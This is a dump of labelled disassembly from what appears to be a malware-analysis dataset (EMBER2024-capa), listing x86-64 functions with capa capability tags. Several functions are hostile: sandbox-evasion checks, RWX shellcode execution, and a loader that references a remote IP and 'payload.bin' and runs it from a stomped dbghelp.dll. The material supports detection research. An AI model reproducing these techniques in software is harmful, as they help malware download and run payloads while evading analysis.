joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180023c10
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
imul eax, edx, 0x46
mov rdi, r8
movaps xmmword [rsp + 0x50], xmm6
mov r14d, edx
movaps xmmword [rsp + 0x40], xmm7
mov r13, rcx
mov ebx, edx
mov dword [rsp + 0xb8], eax
movsd xmm6, qword [rsp + 0xb8]
cmp edx, eax
ja 0x180023cfd
movsd xmm7, qword [0x18007d268]
mov rbp, qword [rsp + 0xb8]
movzx esi, byte [rsp + 0xa8]
mov r12, qword [rsp + 0xb8]
mov r15, qword [rsp + 0xb8]
xor edx, edx
cmp ebx, 0x441
ja 0x180023cdd
je 0x180023cd0
mov eax, ebx
sub eax, 0x63
je 0x180023cc0
sub eax, 0xb
je 0x180023ca6
cmp eax, 0x2a
jne 0x180023dcf
mov ecx, dword [rdi]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rdi]
test rcx, rcx
je 0x180023cfd
xor r8d, r8d
mov edx, 0x8e
call fcn.18001da30
jmp 0x180023dcf
mov rbp, qword [rdi + 0x10]
mov sil, 1
sub rbp, qword [r13 + 0x10]
jmp 0x180023dcf
mov r15, qword [rdi + 8]
sub r15, qword [r13 + 8]
jmp 0x180023dcf
cmp ebx, 0x81f
je 0x180023da2
cmp ebx, 0xbfd
je 0x180023d24
cmp ebx, 0xfdb
jne 0x180023dcf
movq rax, xmm6
mov rbx, qword [rsp + 0xa0]
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp dword [rsp + 0xa8], 0
mov ecx, edx
movzx eax, sil
cmove ecx, eax
movzx esi, cl
test r12, r12
je 0x180023de8
test cl, cl
je 0x180023d7d
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x20]
xor edx, edx
xor ecx, ecx
call sub.RPCRT4.dll_MesDecodeIncrementalHandleCreate
mov rcx, qword [rsp + 0x28]
mov dword [rsp + 0xa8], eax
test rcx, rcx
je 0x180023d6e
call sub.RPCRT4.dll_MesHandleFree
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x180023d7d
call sub.RPCRT4.dll_MesHandleFree
xorps xmm1, xmm1
mov rax, r12
sub rax, qword [rsp + 0x30]
xorps xmm0, xmm0
cvtsi2sd xmm0, r12
cvtsi2sd xmm1, rax
mulsd xmm1, xmm7
divsd xmm1, xmm0
movaps xmm6, xmm1
jmp 0x180023dcf
mov rax, qword [rdi]
lea r9, [rsp + 0x28]
sub rax, qword [r13]
xor r8d, r8d
mov qword [rsp + 0x28], rdx
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x30], rax
call sub.RPCRT4.dll_MesEncodeIncrementalHandleCreate
mov dword [rsp + 0xa8], eax
lea r12, [r15 + rbp]
lea eax, [r14 + r14*4]
lea ebx, [rbx + rax*2]
cmp ebx, dword [rsp + 0xb8]
ja 0x180023cfd
jmp 0x180023c7c
xorps xmm0, xmm0
movq rax, xmm0
jmp 0x180023d02
Function at 0x180026220
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x68
lea rcx, str.427_28_LU
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x180026267
lea rdx, str.verbose
mov rcx, rax
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180026267
mov rax, qword [0x180082f78]
jmp 0x180026281
mov rax, qword [0x180082f78]
test rax, rax
je 0x180026312
cmp qword [rax], 0
je 0x180026312
test rax, rax
je 0x180026297
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x78]
call qword [rax]
add rsp, 0x68
ret
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbp
lea rbp, str.MonthDayDatatypeValidator
mov qword [rsp + 0x50], rsi
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x48], rdi
mov edi, 0xed
nop dword [rax]
mov eax, edi
sub eax, 0xeb
je 0x180026317
cmp eax, 2
jne 0x1800263d9
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rbx, rax
call fcn.180036b00
lea rcx, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rcx
mov r8, rsi
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vfprintf]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x48]
add rsp, 0x68
ret
test rsi, rsi
jne 0x1800263d9
mov qword [rsp + 0x38], rbp
mov ebx, 0x72
nop word [rax + rax]
mov eax, ebx
sub eax, 0x72
je 0x1800263a8
sub eax, 0x77
je 0x180026374
sub eax, 0x4d
je 0x180026361
cmp eax, 0xc4
jne 0x1800263c7
lea r8, [rsp + 0x30]
mov dword [rsp + 0x30], 1
lea edx, [rax - 0x2c]
xor ecx, ecx
call fcn.180023c10
jmp 0x1800263c7
mov rdx, qword [rsp + 0x38]
lea rcx, str.ovr_ResetBoundaryLookAndFeel
call fcn.18000cb40
jmp 0x1800263c7
mov rcx, qword [rsp + 0x298]
cmp rcx, 0xffffffffffffffff
je 0x180026388
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x298], rax
jmp 0x1800263c7
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, qword [rsp + 0x38]
lea rdx, str.SUM_CLAUSE_SIZE
mov rcx, rax
call fcn.180036b50
add ebx, 0xc4
cmp ebx, 0x382
jb 0x180026330
inc edi
cmp edi, 0xef
jb 0x1800262c0
jmp 0x1800262fe
Function at 0x1800301f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x180082618]
xor rax, rsp
mov qword [rsp + 0x330], rax
lea esi, [r9 - 0xa]
mov edi, r9d
mov r13, r8
mov r14, rdx
mov r12, rcx
cmp r9d, esi
jbe case.0x180030266.88
mov ebp, dword [rsp + 0x20]
lea rdx, [0x180000000]
mov ebx, dword [rsp + 0x20]
mov r15d, dword [rsp + 0x20]
nop word [rax + rax]
lea eax, [rdi - 0x58]
cmp eax, 0xd
ja case.0x180030266.92
mov ecx, dword [rdx + rax*4 + 0x30444]
add rcx, rdx
jmp rcx
lea rcx, [rsp + 0xa0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rsp + 0x20], rax
lea rdx, [0x180000000]
jmp case.0x180030266.92
mov ecx, ebp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__close]
lea rdx, [0x180000000]
jmp case.0x180030266.92
cmp ebx, 0x10
jne case.0x180030266.92
xor eax, eax
jmp 0x180030416
mov r9d, dword [r13]
lea rdx, str.Out_of_memory_cant_get_JSON_file
mov r8d, dword [r12]
lea rcx, [rsp + 0x120]
call fcn.180036ce0
xor edx, edx
lea rcx, [rsp + 0x120]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__open]
mov ebp, eax
test eax, eax
js 0x180030395
mov r8d, 0x40
lea rdx, [rsp + 0x60]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
mov r15d, eax
lea rdx, [0x180000000]
jmp case.0x180030266.92
mov ecx, dword [r12]
lea rdx, [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fstat64i32]
mov edi, dword [rsp + 0x38]
xor ebx, ebx
nop dword [rax + rax]
mov r9d, ebx
lea r8, str._dev_dri
lea rdx, str._s_card_d
lea rcx, [rsp + 0xa0]
call fcn.180036ce0
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x18003035b
cmp dword [rsp + 0x38], edi
je 0x180030362
inc ebx
cmp ebx, 0x10
jl 0x180030320
mov edi, 0x5b
lea rdx, [0x180000000]
jmp case.0x180030266.92
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x8d]
shl cx, 8
or cx, ax
mov rax, qword [r14]
mov word [rax + 4], cx
jmp case.0x180030266.92
test r15d, r15d
jns case.0x180030266.92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ecx, dword [rax]
neg ecx
mov dword [rsp + 0x20], ecx
jmp case.0x180030266.88
movzx ecx, byte [rsp + 0x61]
movzx eax, byte [rsp + 0x60]
shl cx, 8
or cx, ax
mov rax, qword [r14]
mov word [rax], cx
movzx ecx, byte [rsp + 0x63]
movzx eax, byte [rsp + 0x62]
shl cx, 8
or cx, ax
mov rax, qword [r14]
mov word [rax + 2], cx
mov rcx, qword [r14]
movzx eax, byte [rsp + 0x68]
mov byte [rcx + 8], al
dec edi
cmp edi, esi
ja 0x180030250
jmp case.0x180030266.88
movzx eax, byte [rsp + 0x8e]
movzx ecx, byte [rsp + 0x8f]
shl cx, 8
or cx, ax
mov dword [rsp + 0x20], 0
mov rax, qword [r14]
mov word [rax + 6], cx
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.1800375e0
mov rbx, qword [rsp + 0x398]
add rsp, 0x340
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180034c00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
lea r14d, [rdx - 9]
mov r12, r9
mov r13, r8
mov ebp, edx
mov rdi, rcx
cmp edx, r14d
jbe case.0x180034c59.9
mov r15, qword [rsp + 0x58]
lea esi, [rdx - 0xf5]
lea rdx, [0x180000000]
cmp esi, 0x14
ja case.0x180034c59.3
mov ecx, dword [rdx + rsi*4 + 0x34e28]
add rcx, rdx
jmp rcx
xor r9d, r9d
xor edx, edx
mov r8d, 0xa0
mov rcx, rdi
call fcn.180010520
test al, al
je 0x180034ce6
cmp qword [rdi + 0x30], 0
jne 0x180034dc6
mov ecx, dword [rdi + 0x28]
xor r9d, r9d
mov rdx, qword [rdi + 0x10]
mov qword [rdi + 0x30], rdx
lea rax, [rcx + rcx*2]
lea r8d, [rcx + rcx*2]
shl rax, 4
add rax, rdx
shl r8d, 4
lea ecx, [r9 + 8]
mov qword [rdi + 0x38], rax
call qword [rdi + 0x20]
test eax, eax
jne 0x180034ce6
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180034dc6
mov qword [rsp + 0x30], r15
jmp case.0x180034c59.3
mov eax, dword [rdi + 0x28]
xor r9d, r9d
mov rdx, qword [rdi + 0x38]
lea r8d, [rax + rax*2]
shl r8d, 4
lea ecx, [r9 + 8]
call qword [rdi + 0x20]
test eax, eax
je 0x180034dc6
mov byte [rsp + 0x30], 0
jmp case.0x180034c59.9
mov qword [rsp + 0x28], 0
lea r8, [0x18000d990]
mov r9, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi], rax
jmp 0x180034dc6
mov rax, qword [r12]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
mov rax, qword [rdi]
lea rcx, [rsp + 0x48]
mov r8d, 0x10a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
call fcn.180010520
mov rcx, qword [r13]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x50], rcx
xor edx, edx
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x58], rax
mov r8d, 0x10c
mov qword [rsp + 0x20], 0
mov rbx, rax
call fcn.180009d90
xor r8d, r8d
mov edx, 0x10a
mov rcx, rbx
mov r15, rax
call fcn.18000d640
jmp 0x180034dc6
cmp qword [rdi], 0
je 0x180034ce6
mov r8, rdi
mov dword [rsp + 0x98], 1
lea rdx, [rsp + 0x98]
mov ecx, 0xb
call fcn.180012900
mov byte [rsp + 0x30], 1
lea rdx, [0x180000000]
dec ebp
dec esi
cmp ebp, r14d
ja 0x180034c46
jmp case.0x180034c59.9
xor r8d, r8d
mov rdx, rdi
mov ecx, 0x124
call fcn.180034840
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x38]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], rcx
mov byte [rsp + 0x30], 1
mov rax, qword [rsp + 0x30]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180035f90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
lea ebp, [r8 + 3]
mov edi, r8d
mov rsi, rdx
mov r14, rcx
cmp r8d, ebp
jae 0x18003608f
nop dword [rax + rax]
mov eax, edi
sub eax, 0x86
je 0x180035ff7
sub eax, 1
je 0x1800360a7
cmp eax, 2
jne 0x180036085
mov rcx, qword [rsi]
mov rdx, qword [r14]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180035fe1
jmp 0x180036085
mov rcx, qword [rsi]
mov ebx, 0xbd
mov qword [rsp + 0x20], rcx
mov eax, ebx
sub eax, 0xbc
je 0x180036078
sub eax, 1
je 0x180036053
sub eax, 3
je 0x180036078
cmp eax, 1
jne 0x18003606e
mov eax, dword [pe_dos_header]
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x78], 1
mov ecx, 0xd0
call fcn.18002ce40
mov rcx, qword [rsp + 0x20]
mov dword [rsp + 0x28], eax
jmp 0x18003606e
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180036060
mov qword [rsp + 0x28], rax
dec ebx
cmp ebx, 0xb9
ja 0x180036004
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x30], rax
inc edi
cmp edi, ebp
jb 0x180035fc0
movzx eax, byte [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
lea r8, [rsp + 0x30]
mov edx, 0x22
mov rcx, r14
call fcn.180031ca0
test al, al
je 0x1800360dc
mov rdx, qword [rsp + 0x30]
mov r9, r14
mov rcx, qword [rsi]
mov r8d, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
jne 0x1800360dc
jmp 0x180036094
xor al, al
jmp 0x180036094

Function at 0x180036b20
Capabilities:
Read file on windows

Disassembly:
xor r8d, r8d
xor edx, edx
mov ecx, 0x104
jmp fcn.1800067c0
Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005ee0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r12, qword [0x140005fb0]
mov rax, qword [r12]
mov qword [rsp + 0x48], rax
xor eax, eax
mov r13, rcx
mov rsi, rdx
lea rcx, str.KERNEL32.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.VirtualAlloc
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.CreateTimerQueue
mov rcx, r14
mov rbx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.CreateTimerQueueTimer
mov rcx, r14
mov r15, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.WaitForSingleObject
mov rcx, r14
mov rbp, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.CreateEventA
mov rcx, r14
mov rdi, rax
call sub.KERNEL32.dll_GetProcAddress
mov r9d, 0x40
mov rdx, rsi
xor ecx, ecx
mov r14, rax
mov r8d, 0x1000
call rbx
mov r8, rsi
mov rdx, r13
mov rcx, rax
mov rbx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memmove
call r15
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov r13, rax
mov edx, 1
call r14
xor r9d, r9d
mov r8, rbx
mov rdx, r13
lea rcx, [rsp + 0x40]
mov rsi, rax
xor eax, eax
mov dword [rsp + 0x20], 0x64
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
call rbp
test eax, eax
je 0x140002a8c
or edx, 0xffffffff
mov rcx, rsi
call rdi
mov rax, qword [rsp + 0x48]
sub rax, qword [r12]
je 0x140002a9d
call fcn.140002520
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002b20
Capabilities:
Get local ipv4 addresses

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rbp, qword [0x140005fb0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
lea rsi, [rsp + 0x3c]
xor eax, eax
mov rdi, rcx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov dword [rsp + 0x3c], eax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x140002b6a
xor eax, eax
jmp 0x140002bec
mov edx, dword [rsp + 0x3c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
mov rbx, rax
je 0x140002b63
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
lea r12, [rsp + 0x42]
xor ecx, ecx
mov rsi, rbx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp dword [rsi + 0x58], 6
jne 0x140002bd5
mov eax, dword [rsi + 0x50]
mov r8d, 3
mov rdx, r12
mov rcx, rdi
mov dword [rsp + 0x42], eax
mov ax, word [rsi + 0x54]
mov word [rsp + 0x46], ax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x140002bd5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x140002bec
mov rsi, qword [rsi + 8]
test rsi, rsi
jne 0x140002b9d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002b63
mov rdx, qword [rsp + 0x48]
sub rdx, qword [rbp]
je 0x140002bfc
call fcn.140002520
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002ca0
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [0x140005fb0]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call rsi
mov edx, dword [rsp + 0x30]
xor eax, eax
cmp dword [rsp + 0x28], edx
jne 0x140002cee
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x2c], eax
sete al
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rbx]
je 0x140002cfd
call fcn.140002520
add rsp, 0x48
pop rbx
pop rsi
ret

Function at 0x140002d10
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
mov rdi, qword [0x140005fb0]
xor edx, edx
mov rax, qword [rdi]
mov qword [rsp + 0x158], rax
xor eax, eax
mov rsi, rcx
mov ecx, 2
mov dword [rsp + 0x28], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rbp, [rsp + 0x28]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
lea r12, [rsp + 0x54]
test eax, eax
jne 0x140002d68
xor eax, eax
jmp 0x140002d8a
mov rdx, rbp
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002d64
mov rdx, rsi
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll__stricmp
test eax, eax
jne 0x140002d68
mov eax, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x158]
sub rdx, qword [rdi]
je 0x140002d9c
call fcn.140002520
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140002db0
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [0x140005fb0]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 1
setbe al
mov rdx, qword [rsp + 0x58]
sub rdx, qword [rbx]
je 0x140002de8
call fcn.140002520
add rsp, 0x60
pop rbx
ret

Function at 0x140002df0
Capabilities:
Get local ipv4 addresses

Disassembly:
sub rsp, 0x28
lea rcx, [0x140005050]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x140005054]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x140005058]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x14000505c]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x140005060]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x140005064]
call fcn.140002b20
test al, al
jne 0x140002e64
lea rcx, [0x140005068]
add rsp, 0x28
jmp fcn.140002b20
mov al, 1
add rsp, 0x28
ret

Function at 0x140002e70
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x70
mov rbx, qword [0x140005fb0]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x28], 0x40
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x30], 0x7fffffff
setbe al
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rbx]
je 0x140002eb4
call fcn.140002520
add rsp, 0x70
pop rbx
ret
Function at 0x1400019a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x2b8
mov qword [rsp + 0x298], 0xfffffffffffffffe
mov rax, qword [0x140059df0]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.156.245.12.237
lea rcx, [rsp + 0x270]
call fcn.140001420
lea rdi, [rsp + 0x288]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x260]
lea rsi, [rsp + 0x288]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x240]
lea rsi, [rsp + 0x260]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x240], 0
je 0x140001b05
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
je 0x140001ada
mov rcx, qword [rsp + 0x250]
add rcx, 0x1000
lea r9, [rsp + 0x258]
mov r8d, 0x40
mov rdx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x250]
add rdi, 0x1000
mov rsi, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x240]
call fcn.14002bf30
mov rax, qword [rsp + 0x250]
add rax, 0x1000
call rax
jmp 0x140001b05
lea r9, [rsp + 0x25c]
mov r8d, 0x20
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x240]
xor eax, eax
jmp 0x140001baf
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14002bca0
add rsp, 0x2b8
pop rdi
pop rsi
ret

Function at 0x1400063d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x140006446
call fcn.14000b230
mov r8d, pe_nt_image_headers64
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140006446
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140006493
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x140006473
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x140006473
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0x98], 0
je 0x140006491
mov rcx, qword [rbp + 0x98]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret